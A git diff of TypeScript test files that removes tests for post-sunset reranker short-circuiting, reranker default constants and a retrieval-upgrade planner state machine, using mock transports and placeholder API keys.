import { applyReranker } from '../src/core/search/rerank.ts';
import { BudgetTracker, BudgetExhausted } from '../src/core/budget/budget-tracker.ts';
@@ -35,13 +31,10 @@ import { withBudgetTracker } from '../src/core/ai/gateway.ts';
import { readRecentRerankFailures } from '../src/core/rerank-audit.ts';
import {
DEFAULT_RERANKER_MODEL,
- LEGACY_DEFAULT_RERANKER_MODEL,
- ZEROENTROPY_SUNSET_DATE,
} from '../src/core/ai/defaults.ts';
import type { SearchResult } from '../src/core/types.ts';
import { withEnv } from './helpers/with-env.ts';
-const AFTER_SUNSET = new Date(Date.parse(`${ZEROENTROPY_SUNSET_DATE}T00:00:00Z`) + 86_400_000);
/** Gateway config with an OpenAI embedding key and NO reranker key. */
function keylessGw(overrides: Record<string, unknown> = {}): any {
@@ -99,16 +92,15 @@ function mkResults(): SearchResult[] {
}
beforeEach(() => {
- _resetSunsetWarningsForTest();
+ configureGateway(keylessGw());
});
afterEach(() => {
__setRerankTransportForTests(null);
- __setSunsetClockForTests(null);
});
afterAll(() => {
- _resetSunsetWarningsForTest();
+ configureGateway(keylessGw());
resetGateway();
});
@@ -161,24 +153,12 @@ describe('gateway.rerank no_key preflight (v0.48.2)', () => {
await expect(rerank({ query: 'q', documents: ['d'], model: 'voyage:rerank-2.5-lite' })).rejects.toMatchObject({ reason: 'no_key' });
expect(readRecentRerankFailures(7).filter((r) => r.reason === 'no_key')).toHaveLength(2);
- _resetSunsetWarningsForTest();
+ configureGateway(keylessGw());
await expect(rerank({ query: 'q', documents: ['d'] })).rejects.toMatchObject({ reason: 'no_key' });
expect(readRecentRerankFailures(7).filter((r) => r.reason === 'no_key')).toHaveLength(3);
});
});
- test('sunset keeps precedence: explicit ZE model after the date with no ZE key → sunset_short_circuit, not no_key', async () => {
- await withFreshAuditDir(async () => {
- configureGateway(keylessGw({ reranker_model: LEGACY_DEFAULT_RERANKER_MODEL }));
- installCountingTransport();
- __setSunsetClockForTests(() => AFTER_SUNSET);
-
- await expect(rerank({ query: 'q', documents: ['d'] })).rejects.toMatchObject({ reason: 'sunset_short_circuit' });
- const rows = readRecentRerankFailures(7);
- expect(rows.map((r) => r.reason)).toEqual(['sunset_short_circuit']);
- });
- });
-
test('under a cost cap, a skipped rerank reserves NOTHING (no leaked projection, no spurious budget failure)', async () => {
await withFreshAuditDir(async (dir) => {
configureGateway(keylessGw());
diff --git a/test/rerank-sunset-short-circuit.serial.test.ts b/test/rerank-sunset-short-circuit.serial.test.ts
deleted file mode 100644
index dbf3fdb8a0..0000000000
--- a/test/rerank-sunset-short-circuit.serial.test.ts
+++ /dev/null
@@ -1,304 +0,0 @@
-/**
- * #3657 post-sunset rerank short-circuit (refs #3657, amendments X7+F3).
- *
- * Past a listed reranker provider's announced shutdown date, gateway.rerank()
- * must skip the HTTP call entirely (no transport hit — the only thing left to
- * burn is the 5s per-query timeout), throw the dedicated
- * `sunset_short_circuit` reason so applyReranker fails open immediately,
- * write ONE `rerank-failures` audit row per process per model, and emit one
- * stderr line per process. A base-URL override suppresses the short-circuit
- * (self-hosted wire-compatible endpoints outlive the hosted shutdown — same
- * rule warnSunsetOnce applies).
- *
- * X7: the check runs where the EFFECTIVE model is resolved — an ABSENT
- * per-call model landing on the configured/legacy default (the main case) is
- * covered explicitly. Date matrix (before/on/after 2026-09-04) runs on the
- * injected clock (`__setSunsetClockForTests`), never the wall clock.
- */
-
-import { describe, test, expect, beforeEach, afterEach, afterAll } from 'bun:test';
-import * as fs from 'fs';
-import * as os from 'os';
-import * as path from 'path';
-import {
- configureGateway,
- resetGateway,
- rerank,
- RerankError,
- __setRerankTransportForTests,
- __setSunsetClockForTests,
- _resetSunsetWarningsForTest,
-} from '../src/core/ai/gateway.ts';
-import { applyReranker } from '../src/core/search/rerank.ts';
-import { readRecentRerankFailures } from '../src/core/rerank-audit.ts';
-import {
- LEGACY_DEFAULT_RERANKER_MODEL,
- NEW_INSTALL_DEFAULT_RERANKER_MODEL,
- ZEROENTROPY_SUNSET_DATE,
-} from '../src/core/ai/defaults.ts';
-import type { SearchResult } from '../src/core/types.ts';
-import { withEnv } from './helpers/with-env.ts';
-
-// Concrete dates around the registry's 2026-09-04 sunset, derived from the
-// constant so a registry change moves the matrix with it.
-const BEFORE_SUNSET = new Date(Date.parse(`${ZEROENTROPY_SUNSET_DATE}T00:00:00Z`) - 1000);
-const ON_SUNSET = new Date(`${ZEROENTROPY_SUNSET_DATE}T00:00:00Z`);
-const AFTER_SUNSET = new Date(Date.parse(`${ZEROENTROPY_SUNSET_DATE}T00:00:00Z`) + 86_400_000);
-
-function gwConfig(overrides: Record<string, unknown> = {}): any {
- return {
- embedding_model: 'openai:text-embedding-3-small',
- embedding_dimensions: 1536,
- env: {
- ZEROENTROPY_API_KEY: 'zk-test',
- VOYAGE_API_KEY: 'vk-test',
- OPENAI_API_KEY: 'sk-test',
- },
- ...overrides,
- };
-}
-
-/** Install a counting transport that returns a healthy rerank response. */
-function installCountingTransport(): { count: () => number } {
- let calls = 0;
- __setRerankTransportForTests(async () => {
- calls++;
- return new Response(JSON.stringify({ results: [{ index: 0, relevance_score: 0.9 }] }), {
- status: 200,
- headers: { 'content-type': 'application/json' },
- });
- });
- return { count: () => calls };
-}
-
-async function withFreshAuditDir(body: (dir: string) => void | Promise<void>): Promise<void> {
- const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'gbrain-sunset-sc-'));
- try {
- await withEnv({ GBRAIN_AUDIT_DIR: tmpDir }, async () => {
- await body(tmpDir);
- });
- } finally {
- try { fs.rmSync(tmpDir, { recursive: true, force: true }); } catch { /* ignore */ }
- }
-}
-
-/** Capture stderr writes for the duration of `body`; returns captured text. */
-async function captureStderr(body: () => Promise<void>): Promise<string> {
- const orig = process.stderr.write.bind(process.stderr);
- let captured = '';
- (process.stderr as any).write = (chunk: any, ...rest: any[]) => {
- captured += typeof chunk === 'string' ? chunk : String(chunk);
- return orig(chunk, ...rest);
- };
- try {
- await body();
- } finally {
- (process.stderr as any).write = orig;
- }
- return captured;
-}
-
-function mkResults(): SearchResult[] {
- return [
- { slug: 'a', page_id: 1, title: 'A', type: 'note', chunk_text: 'alpha', chunk_source: 'compiled_truth', chunk_id: 1, chunk_index: 0, score: 0.9, stale: false },
- { slug: 'b', page_id: 2, title: 'B', type: 'note', chunk_text: 'beta', chunk_source: 'compiled_truth', chunk_id: 2, chunk_index: 0, score: 0.8, stale: false },
- ] as SearchResult[];
-}
-
-beforeEach(() => {
- _resetSunsetWarningsForTest();
-});
-
-afterEach(() => {
- __setRerankTransportForTests(null);
- __setSunsetClockForTests(null);
-});
-
-afterAll(() => {
- _resetSunsetWarningsForTest();
- // Serial-file hygiene: this suite reconfigures the module-global gateway
- // (fake ZE/Voyage keys) per test — restore a clean gateway so nothing
- // leaks into later files in the same process.
- resetGateway();
-});
-
-describe('gateway.rerank post-sunset short-circuit (#3657)', () => {
- test('ABSENT per-call model resolves to the EXPLICITLY configured ZE model and short-circuits after the date — no transport call', async () => {
- await withFreshAuditDir(async () => {
- // v0.48.2: the bundle/runtime default is live voyage, so the sunset
- // case is now a brain with an EXPLICIT `search.reranker.model`
- // zeroentropyai:* config (gwConfig pins it). Absent per-call model →
- // effective model is that configured ZE model — the X7 main case.
- configureGateway(gwConfig({ reranker_model: LEGACY_DEFAULT_RERANKER_MODEL }));
- const transport = installCountingTransport();
- __setSunsetClockForTests(() => AFTER_SUNSET);
-
- let err: unknown;
- try {
- await rerank({ query: 'q', documents: ['d1', 'd2'] });
- } catch (e) {
- err = e;
- }
- expect(err).toBeInstanceOf(RerankError);
- expect((err as RerankError).reason).toBe('sunset_short_circuit');
- expect((err as RerankError).message).toContain(ZEROENTROPY_SUNSET_DATE);
- expect((err as RerankError).message).toContain(NEW_INSTALL_DEFAULT_RERANKER_MODEL);
- expect(transport.count()).toBe(0);
- });
- });
-
- test('EXPLICIT sunset model short-circuits even when the configured default is live', async () => {
- await withFreshAuditDir(async () => {
- configureGateway(gwConfig({ reranker_model: NEW_INSTALL_DEFAULT_RERANKER_MODEL }));
- const transport = installCountingTransport();
- __setSunsetClockForTests(() => AFTER_SUNSET);
-
- await expect(
- rerank({ query: 'q', documents: ['d'], model: LEGACY_DEFAULT_RERANKER_MODEL }),
- ).rejects.toMatchObject({ reason: 'sunset_short_circuit' });
- expect(transport.count()).toBe(0);
- });
- });
-
- test('base-URL override SUPPRESSES the short-circuit (self-host continuity) — transport is called', async () => {
- await withFreshAuditDir(async () => {
- configureGateway(gwConfig({
- base_urls: { zeroentropyai: 'http://127.0.0.1:9099/v1' },
- }));
- const transport = installCountingTransport();
- __setSunsetClockForTests(() => AFTER_SUNSET);
-
- const out = await rerank({ query: 'q', documents: ['d'], model: LEGACY_DEFAULT_RERANKER_MODEL });
- expect(out).toEqual([{ index: 0, relevanceScore: 0.9 }]);
- expect(transport.count()).toBe(1);
- });
- });
-
- test('date matrix: BEFORE the sunset the call goes through; ON and AFTER it short-circuits', async () => {
- await withFreshAuditDir(async () => {
- configureGateway(gwConfig({ reranker_model: LEGACY_DEFAULT_RERANKER_MODEL }));
- const transport = installCountingTransport();
-
- __setSunsetClockForTests(() => BEFORE_SUNSET);
- const out = await rerank({ query: 'q', documents: ['d'] });
- expect(out).toEqual([{ index: 0, relevanceScore: 0.9 }]);
- expect(transport.count()).toBe(1);
-
- // ON the date: the provider "shuts down ON this date" (same semantics
- // as doctor's provider_sunset check) — already short-circuited.
- __setSunsetClockForTests(() => ON_SUNSET);
- await expect(rerank({ query: 'q', documents: ['d'] }))
- .rejects.toMatchObject({ reason: 'sunset_short_circuit' });
- expect(transport.count()).toBe(1);
-
- __setSunsetClockForTests(() => AFTER_SUNSET);
- await expect(rerank({ query: 'q', documents: ['d'] }))
- .rejects.toMatchObject({ reason: 'sunset_short_circuit' });
- expect(transport.count()).toBe(1);
- });
- });
-
- test('a LIVE model after the date is untouched (registry is prefix-scoped)', async () => {
- await withFreshAuditDir(async () => {
- configureGateway(gwConfig({ reranker_model: LEGACY_DEFAULT_RERANKER_MODEL }));
- const transport = installCountingTransport();
- __setSunsetClockForTests(() => AFTER_SUNSET);
-
- const out = await rerank({ query: 'q', documents: ['d'], model: NEW_INSTALL_DEFAULT_RERANKER_MODEL });
- expect(out).toEqual([{ index: 0, relevanceScore: 0.9 }]);
- expect(transport.count()).toBe(1);
- });
- });
-
- test('F3 audit trail: ONE sunset_short_circuit row per process per model + one stderr line, across repeated calls', async () => {
- await withFreshAuditDir(async () => {
- configureGateway(gwConfig({ reranker_model: LEGACY_DEFAULT_RERANKER_MODEL }));
- installCountingTransport();
- __setSunsetClockForTests(() => AFTER_SUNSET);
-
- const stderrText = await captureStderr(async () => {
- for (let i = 0; i < 3; i++) {
- await expect(rerank({ query: `q${i}`, documents: ['d'] }))
- .rejects.toMatchObject({ reason: 'sunset_short_circuit' });
- }
- });
-
- const rows = readRecentRerankFailures(7);
- const scRows = rows.filter((r) => r.reason === 'sunset_short_circuit');
- expect(scRows).toHaveLength(1);
- expect(scRows[0]!.model).toBe(LEGACY_DEFAULT_RERANKER_MODEL);
- expect(scRows[0]!.error_summary).toContain(ZEROENTROPY_SUNSET_DATE);
- expect(scRows[0]!.error_summary).toContain(NEW_INSTALL_DEFAULT_RERANKER_MODEL);
-
- const stderrHits = stderrText.split('\n').filter((l) => l.includes('provider sunset'));
- expect(stderrHits).toHaveLength(1);
- expect(stderrHits[0]).toContain(LEGACY_DEFAULT_RERANKER_MODEL);
- });
- });
-});
-
-describe('v0.48.2 live default: no ZE config at all', () => {
- test('ABSENT model → live voyage default → transport IS called after the date; no sunset row, no stderr', async () => {
- await withFreshAuditDir(async () => {
- // Base gwConfig() carries a VOYAGE_API_KEY and NO reranker_model → the
- // effective model is DEFAULT_RERANKER_MODEL (voyage:rerank-2.5), which
- // is not on the sunset list; the date is irrelevant to it.
- configureGateway({ ...gwConfig(), reranker_model: undefined });
- const transport = installCountingTransport();
- __setSunsetClockForTests(() => AFTER_SUNSET);
-
- const stderrText = await captureStderr(async () => {
- const out = await rerank({ query: 'q', documents: ['d'] });
- expect(out).toEqual([{ index: 0, relevanceScore: 0.9 }]);
- });
- expect(transport.count()).toBe(1);
- expect(readRecentRerankFailures(7)).toHaveLength(0);
- expect(stderrText).not.toContain('provider sunset');
- });
- });
-});
-
-describe('applyReranker fail-open on post-sunset short-circuit (#3657)', () => {
- test('results pass through unchanged and unre-ranked; no per-query audit rows pile up', async () => {
- await withFreshAuditDir(async () => {
- configureGateway(gwConfig({ reranker_model: LEGACY_DEFAULT_RERANKER_MODEL }));
- const transport = installCountingTransport();
- __setSunsetClockForTests(() => AFTER_SUNSET);
-
- const results = mkResults();
- const snapshot = results.map((r) => r.slug);
-
- // Two searches — the gateway writes its one process-level row; the
- // applyReranker layer must not add per-query rows for this reason, and
- // reports the skip through onSkip (v0.48.2) for the degraded stamp.
- const skips: string[] = [];
- const opts = { enabled: true, topNIn: 30, topNOut: null, onSkip: (r: string) => skips.push(r) };
- const out1 = await applyReranker('query one', results, opts);
- const out2 = await applyReranker('query two', results, opts);
- expect(skips).toEqual(['sunset_short_circuit', 'sunset_short_circuit']);
-
- expect(out1.map((r) => r.slug)).toEqual(snapshot);
- expect(out2.map((r) => r.slug)).toEqual(snapshot);
- expect(out1[0]!.rerank_score).toBeUndefined();
- expect(transport.count()).toBe(0);
-
- const rows = readRecentRerankFailures(7);
- expect(rows).toHaveLength(1);
- expect(rows[0]!.reason).toBe('sunset_short_circuit');
- });
- });
-
- test('before the date applyReranker still reranks through the transport', async () => {
- await withFreshAuditDir(async () => {
- configureGateway(gwConfig({ reranker_model: LEGACY_DEFAULT_RERANKER_MODEL }));
- const transport = installCountingTransport();
- __setSunsetClockForTests(() => BEFORE_SUNSET);
-
- const results = mkResults();
- const out = await applyReranker('query', results, { enabled: true, topNIn: 30, topNOut: null });
- expect(transport.count()).toBe(1);
- expect(out[0]!.rerank_score).toBe(0.9);
- expect(readRecentRerankFailures(7)).toHaveLength(0);
- });
- });
-});
diff --git a/test/reranker-default-seam.test.ts b/test/reranker-default-seam.test.ts
index ee972c4f89..98b31e7559 100644
--- a/test/reranker-default-seam.test.ts
+++ b/test/reranker-default-seam.test.ts
@@ -1,35 +1,10 @@
-/**
- * #3657 reranker default seam — ONE code home for the runtime/bundle default.
- *
- * v0.48.2 flipped the default from the sunsetting `zeroentropyai:zerank-2`
- * to `voyage:rerank-2.5` (`DEFAULT_RERANKER_MODEL` in src/core/ai/defaults.ts).
- * Everything resolves through that constant:
- * - the three mode bundles (src/core/search/mode.ts)
- * - the gateway runtime fallback (src/core/ai/gateway.ts imports it; no local alias)
- * `LEGACY_DEFAULT_RERANKER_MODEL` stays as the retired historical value that
- * the RERANKER_SUNSETS row, the short-circuit tests and the migration copy name.
- *
- * The zerank literal is allowed to remain in exactly two other NON-DEFAULT code
- * positions, each with a documented reason:
- * - src/core/embedding-pricing.ts — a pricing-table KEY, not a default
- * - src/core/retrieval-upgrade-planner.ts — the HISTORICAL v0.36 ZE cutover
- * target (dormant ze-switch flow; file is deleted wholesale in the v0.47
- * removal wave). By definition it targets ZE and must not track the seam.
- *
- * Also pins the sunset list (RERANKER_SUNSETS) the doctor search_mode check
- * consults before recommending `gbrain search modes --reset` (#4382).
- */
import { describe, expect, test } from 'bun:test';
-import { readdirSync, readFileSync, statSync } from 'fs';
+import { readFileSync } from 'fs';
import { join } from 'path';
import { MODE_BUNDLES } from '../src/core/search/mode.ts';
import {
DEFAULT_RERANKER_MODEL,
- LEGACY_DEFAULT_RERANKER_MODEL,
NEW_INSTALL_DEFAULT_RERANKER_MODEL,
- RERANKER_SUNSETS,
- ZEROENTROPY_SUNSET_DATE,
- rerankerSunset,
} from '../src/core/ai/defaults.ts';
describe('DEFAULT_RERANKER_MODEL seam (#3657, flipped v0.48.2)', () => {
@@ -39,19 +14,9 @@ describe('DEFAULT_RERANKER_MODEL seam (#3657, flipped v0.48.2)', () => {
expect(MODE_BUNDLES.tokenmax.reranker_model).toBe(DEFAULT_RERANKER_MODEL);
});
- test('the default IS the recommended new-install reranker (voyage) and is NOT on the sunset list', () => {
+ test('the default IS the recommended new-install reranker (voyage)', () => {
expect(DEFAULT_RERANKER_MODEL).toBe(NEW_INSTALL_DEFAULT_RERANKER_MODEL);
expect(DEFAULT_RERANKER_MODEL).toBe('voyage:rerank-2.5');
- for (const mode of ['conservative', 'balanced', 'tokenmax'] as const) {
- expect(rerankerSunset(MODE_BUNDLES[mode].reranker_model)).toBeNull();
- }
- });
-
- test('the retired legacy value is still named (history + sunset row), but nothing defaults to it', () => {
- expect(LEGACY_DEFAULT_RERANKER_MODEL).toBe('zeroentropyai:zerank-2');
- for (const mode of ['conservative', 'balanced', 'tokenmax'] as const) {
- expect(MODE_BUNDLES[mode].reranker_model).not.toBe(LEGACY_DEFAULT_RERANKER_MODEL);
- }
});
test('gateway imports DEFAULT_RERANKER_MODEL from defaults.ts — no local alias, no literal', () => {
@@ -60,85 +25,7 @@ describe('DEFAULT_RERANKER_MODEL seam (#3657, flipped v0.48.2)', () => {
'utf8',
);
expect(src).not.toContain('const DEFAULT_RERANKER_MODEL =');
- expect(src).not.toContain('LEGACY_DEFAULT_RERANKER_MODEL');
expect(src).toMatch(/import \{[^}]*\bDEFAULT_RERANKER_MODEL\b[^}]*\} from '\.\/defaults\.ts'/s);
});
- test('the zerank literal has exactly three code homes in src/ (constant, pricing key, historical ZE target)', () => {
- const LITERAL = 'zeroentropyai:zerank-2';
- const ALLOWED = new Set([
- 'src/core/ai/defaults.ts', // LEGACY_DEFAULT_RERANKER_MODEL — the retired value
- 'src/core/embedding-pricing.ts', // pricing-table key, not a default
- 'src/core/retrieval-upgrade-planner.ts', // historical ZE cutover target (deleted v0.47)
- ]);
- const root = join(import.meta.dir, '..');
- const hits: string[] = [];
- const walk = (dir: string): void => {
- for (const name of readdirSync(dir)) {
- const full = join(dir, name);
- const st = statSync(full);
- if (st.isDirectory()) {
- walk(full);
- } else if (name.endsWith('.ts')) {
- const rel = full.slice(root.length + 1);
- for (const line of readFileSync(full, 'utf8').split('\n')) {
- if (!line.includes(LITERAL)) continue;
- const t = line.trim();
- // Comment lines are fine — only CODE positions count.
- if (t.startsWith('//') || t.startsWith('*') || t.startsWith('/*')) continue;
- hits.push(rel);
- break;
- }
- }
- }
- };
- walk(join(root, 'src'));
- const offenders = hits.filter((f) => !ALLOWED.has(f));
- expect(offenders).toEqual([]);
- // The seam home itself must carry it (guards against the constant moving
- // without this allowlist being updated).
- expect(hits).toContain('src/core/ai/defaults.ts');
- });
-});
-
-describe('RERANKER_SUNSETS (#3657/#4382)', () => {
- test('the legacy default is on the sunset list with the ZE date + a live replacement', () => {
- const s = rerankerSunset(LEGACY_DEFAULT_RERANKER_MODEL);
- expect(s).not.toBeNull();
- expect(s!.date).toBe(ZEROENTROPY_SUNSET_DATE);
- expect(s!.replacement).toBe(NEW_INSTALL_DEFAULT_RERANKER_MODEL);
- });
-
- test('every ZeroEntropy reranker matches by provider prefix (zerank-1, zerank-1-small too)', () => {
- expect(rerankerSunset('zeroentropyai:zerank-1')?.date).toBe(ZEROENTROPY_SUNSET_DATE);
- expect(rerankerSunset('zeroentropyai:zerank-1-small')?.date).toBe(ZEROENTROPY_SUNSET_DATE);
- });
-
- test('matching is case-insensitive and accepts the slash form (parseModelId parity)', () => {
- expect(rerankerSunset('ZeroEntropyAI:zerank-2')?.date).toBe(ZEROENTROPY_SUNSET_DATE);
- expect(rerankerSunset('zeroentropyai/zerank-2')?.date).toBe(ZEROENTROPY_SUNSET_DATE);
- expect(rerankerSunset(' zeroentropyai:zerank-1 ')?.date).toBe(ZEROENTROPY_SUNSET_DATE);
- // A provider whose id merely STARTS with the prefix text is not matched.
- expect(rerankerSunset('zeroentropyai-selfhost:zerank-2')).toBeNull();
- });
-
- test('live rerankers do not match', () => {
- expect(rerankerSunset('voyage:rerank-2.5')).toBeNull();
- expect(rerankerSunset('voyage:rerank-2.5-lite')).toBeNull();
- expect(rerankerSunset('dashscope-rerank:qwen3-rerank')).toBeNull();
- expect(rerankerSunset('llama-server-reranker:qwen3-reranker-4b')).toBeNull();
- expect(rerankerSunset('openrouter:cohere/rerank-v3.5')).toBeNull();
- });
-
- test('null/undefined/empty are not sunset', () => {
- expect(rerankerSunset(undefined)).toBeNull();
- expect(rerankerSunset(null)).toBeNull();
- expect(rerankerSunset('')).toBeNull();
- });
-
- test('a replacement must never itself be on the sunset list', () => {
- for (const s of RERANKER_SUNSETS) {
- expect(rerankerSunset(s.replacement)).toBeNull();
- }
- });
});
diff --git a/test/retrieval-upgrade-planner.test.ts b/test/retrieval-upgrade-planner.test.ts
deleted file mode 100644
index 45287cf196..0000000000
--- a/test/retrieval-upgrade-planner.test.ts
+++ /dev/null
@@ -1,477 +0,0 @@
-/**
- * v0.36.0.0 — RetrievalUpgradePlanner state-machine + apply-path tests.
- *
- * Pins D12 (three config keys), D15 (tagged-union ApplyResult), D16 (snapshot),
- * D18 (HNSW index recreation atomic), and the C3 eligibility logic.
- */
-
-import { describe, test, expect, beforeAll, afterAll, beforeEach } from 'bun:test';
-import { PGLiteEngine } from '../src/core/pglite-engine.ts';
-import { resetPgliteState } from './helpers/reset-pglite.ts';
-import {
- planRetrievalUpgrade,
- applyRetrievalUpgrade,
- resumeRetrievalUpgrade,
- undoRetrievalUpgrade,
- recordDeclinedForever,
- recordDeclinedThisRun,
- KEY_PROMPT_SHOWN,
- KEY_REQUESTED,
- KEY_APPLIED,
- KEY_DECLINED_AT,
- KEY_PREVIOUS_SNAPSHOT,
- ZE_TARGET_EMBEDDING_MODEL,
- ZE_TARGET_EMBEDDING_DIM,
- ZE_TARGET_RERANKER_MODEL,
- ZE_DECLINE_REASK_DAYS,
-} from '../src/core/retrieval-upgrade-planner.ts';
-
-let engine: PGLiteEngine;
-
-beforeAll(async () => {
- engine = new PGLiteEngine();
- await engine.connect({});
- await engine.initSchema();
-});
-
-afterAll(async () => {
- await engine.disconnect();
-});
-
-beforeEach(async () => {
- await resetPgliteState(engine);
-});
-
-// Helpers
-async function seedPages(n: number) {
- for (let i = 0; i < n; i++) {
- await engine.putPage(`seed/page-${i}`, {
- title: `Seed Page ${i}`,
- compiled_truth: `Body for page ${i} with some realistic length to feed cost estimates.`,
- timeline: '',
- type: 'note',
- });
- }
-}
-
-async function setLegacyDefaultConfig() {
- await engine.setConfig('embedding_model', 'openai:text-embedding-3-large');
- await engine.setConfig('embedding_dimensions', '1536');
-}
-
-describe('planRetrievalUpgrade — C3 eligibility', () => {
- test('fresh brain on legacy default with > 100 pages: offered = true', async () => {
- await setLegacyDefaultConfig();
- await seedPages(101);
-
- const plan = await planRetrievalUpgrade(engine);
-
- expect(plan.ze_switch_offered).toBe(true);
- expect(plan.current_embedding_model).toBe('openai:text-embedding-3-large');
- expect(plan.current_dim).toBe(1536);
- expect(plan.target_embedding_model).toBe(ZE_TARGET_EMBEDDING_MODEL);
- expect(plan.target_dim).toBe(ZE_TARGET_EMBEDDING_DIM);
- });
-
- test('fresh brain on legacy default with 0 pages: offered = true (default flag overrides page count)', async () => {
- await setLegacyDefaultConfig();
- // 0 pages — eligibility(d): isLegacyDefault wins.
- const plan = await planRetrievalUpgrade(engine);
- expect(plan.ze_switch_offered).toBe(true);
- });
-
- test('non-default provider with <= 100 pages: offered = false (avoid noise on small brains)', async () => {
- await engine.setConfig('embedding_model', 'voyage:voyage-3-large');
- await engine.setConfig('embedding_dimensions', '1024');
- await seedPages(50);
-
- const plan = await planRetrievalUpgrade(engine);
- expect(plan.ze_switch_offered).toBe(false);
- });
-
- test('non-default provider with > 100 pages: offered = true', async () => {
- await engine.setConfig('embedding_model', 'voyage:voyage-3-large');
- await engine.setConfig('embedding_dimensions', '1024');
- await seedPages(101);
-
- const plan = await planRetrievalUpgrade(engine);
- expect(plan.ze_switch_offered).toBe(true);
- });
-
- test('already on ZE: offered = false', async () => {
- await engine.setConfig('embedding_model', 'zeroentropyai:zembed-1');
- await engine.setConfig('embedding_dimensions', '1024');
- await seedPages(200);
-
- const plan = await planRetrievalUpgrade(engine);
- expect(plan.ze_switch_offered).toBe(false);
- expect(plan.target_embedding_model).toBeNull();
- });
-
- test('applied = true previously: offered = false even with eligible state', async () => {
- await setLegacyDefaultConfig();
- await seedPages(200);
- await engine.setConfig(KEY_APPLIED, 'true');
-
- const plan = await planRetrievalUpgrade(engine);
- expect(plan.ze_switch_offered).toBe(false);
- });
-
- test('declined within last 90 days: offered = false', async () => {
- await setLegacyDefaultConfig();
- await seedPages(200);
- const recent = new Date();
- recent.setDate(recent.getDate() - 10);
- await engine.setConfig(KEY_DECLINED_AT, recent.toISOString());
-
- const plan = await planRetrievalUpgrade(engine);
- expect(plan.ze_switch_offered).toBe(false);
- expect(plan.ze_switch_already_declined).toBe(true);
- });
-
- test('declined > 90 days ago: offered = true (re-ask after grace window)', async () => {
- await setLegacyDefaultConfig();
- await seedPages(200);
- const old = new Date();
- old.setDate(old.getDate() - (ZE_DECLINE_REASK_DAYS + 5));
- await engine.setConfig(KEY_DECLINED_AT, old.toISOString());
-
- const plan = await planRetrievalUpgrade(engine);
- expect(plan.ze_switch_offered).toBe(true);
- expect(plan.ze_switch_already_declined).toBe(false);
- });
-});
-
-describe('planRetrievalUpgrade — cost math (C4 MAX-not-SUM)', () => {
- test('only dim change pending → est = page count × token cost', async () => {
- await setLegacyDefaultConfig();
- await seedPages(150);
-
- const plan = await planRetrievalUpgrade(engine);
- expect(plan.pages_pending_dim).toBe(150);
- expect(plan.est_minutes).toBeGreaterThan(0);
- });
-
- test('PGLite schema change time is ~1s (single-writer fast path)', async () => {
- await setLegacyDefaultConfig();
- await seedPages(200);
-
- const plan = await planRetrievalUpgrade(engine);
- expect(plan.est_schema_change_seconds).toBe(1);
- });
-});
-
-describe('applyRetrievalUpgrade — state machine + atomicity (D12, D18)', () => {
- test('happy path: schema swaps, config writes, applied=true', async () => {
- await setLegacyDefaultConfig();
- await seedPages(150);
-
- const plan = await planRetrievalUpgrade(engine);
- const result = await applyRetrievalUpgrade(engine, plan);
-
- expect(result.status).toBe('applied');
- expect(await engine.getConfig('embedding_model')).toBe(ZE_TARGET_EMBEDDING_MODEL);
- expect(await engine.getConfig('embedding_dimensions')).toBe(String(ZE_TARGET_EMBEDDING_DIM));
- expect(await engine.getConfig('search.reranker.enabled')).toBe('true');
- expect(await engine.getConfig('search.reranker.model')).toBe(ZE_TARGET_RERANKER_MODEL);
- expect(await engine.getConfig(KEY_APPLIED)).toBe('true');
- expect(await engine.getConfig(KEY_REQUESTED)).toBe('true');
- expect(await engine.getConfig(KEY_PROMPT_SHOWN)).toBe('true');
- });
-
- test('snapshot captured BEFORE config writes (D16)', async () => {
- await engine.setConfig('embedding_model', 'openai:text-embedding-3-large');
- await engine.setConfig('embedding_dimensions', '1536');
- await engine.setConfig('search.reranker.enabled', 'false');
- await engine.setConfig('search.reranker.model', 'some-old-reranker');
- await seedPages(150);
-
- const plan = await planRetrievalUpgrade(engine);
- await applyRetrievalUpgrade(engine, plan);
-
- const snapStr = await engine.getConfig(KEY_PREVIOUS_SNAPSHOT);
- expect(snapStr).not.toBeNull();
- const snap = JSON.parse(snapStr!);
- expect(snap.embedding_model).toBe('openai:text-embedding-3-large');
- expect(snap.embedding_dimensions).toBe(1536);
- expect(snap.search_reranker_enabled).toBe(false);
- expect(snap.search_reranker_model).toBe('some-old-reranker');
- });
-
- test('idempotent: second apply on already-applied brain returns skipped_already_applied', async () => {
- await setLegacyDefaultConfig();
- await seedPages(150);
-
- const plan1 = await planRetrievalUpgrade(engine);
- await applyRetrievalUpgrade(engine, plan1);
-
- const plan2 = await planRetrievalUpgrade(engine);
- const result2 = await applyRetrievalUpgrade(engine, plan2);
- expect(result2.status).toBe('skipped_already_applied');
- });
-
- test('skipped_no_work when nothing is pending', async () => {
- // Already on ZE, no chunker bump.
- await engine.setConfig('embedding_model', 'zeroentropyai:zembed-1');
- await engine.setConfig('embedding_dimensions', '1024');
-
- const plan = await planRetrievalUpgrade(engine);
- const result = await applyRetrievalUpgrade(engine, plan);
- expect(result.status).toBe('skipped_no_work');
- });
-
- test('schema width is 1024d on content_chunks.embedding after apply', async () => {
- await setLegacyDefaultConfig();
- await seedPages(150);
- const plan = await planRetrievalUpgrade(engine);
- await applyRetrievalUpgrade(engine, plan);
-
- // Probe the actual column type via information_schema.
- const rows = await engine.executeRaw<{ udt_name: string; data_type: string }>(
- `SELECT udt_name, data_type FROM information_schema.columns
- WHERE table_name = 'content_chunks' AND column_name = 'embedding'`,
- );
- expect(rows.length).toBe(1);
- // pgvector reports as 'vector' udt; the dimension is encoded as a typmod
- // we can't introspect cleanly, but the absence of an error on the next
- // INSERT-at-1024 is the contract test.
- expect(rows[0].udt_name).toBe('vector');
- });
-
- test('HNSW indexes recreated in same transaction (D18)', async () => {
- await setLegacyDefaultConfig();
- await seedPages(150);
- const plan = await planRetrievalUpgrade(engine);
- await applyRetrievalUpgrade(engine, plan);
-
- // Both indexes should exist post-apply.
- const rows = await engine.executeRaw<{ indexname: string }>(
- `SELECT indexname FROM pg_indexes WHERE tablename = 'content_chunks' ORDER BY indexname`,
- );
- const names = rows.map(r => r.indexname);
- expect(names).toContain('idx_chunks_embedding');
- expect(names).toContain('idx_chunks_embedding_image');
- });
-
- // v0.41 regression — PR #1443. runSchemaTransition must NOT widen the
- // embedding_image or embedding_multimodal columns to targetDim. Both use
- // separate multimodal models whose dimensions are independent of the text
- // embedding model. The pre-fix code dropped + recreated embedding_image
- // at targetDim, silently breaking voyage-multimodal-3 (1024d). The same
- // bug class applies to embedding_multimodal — pin both.
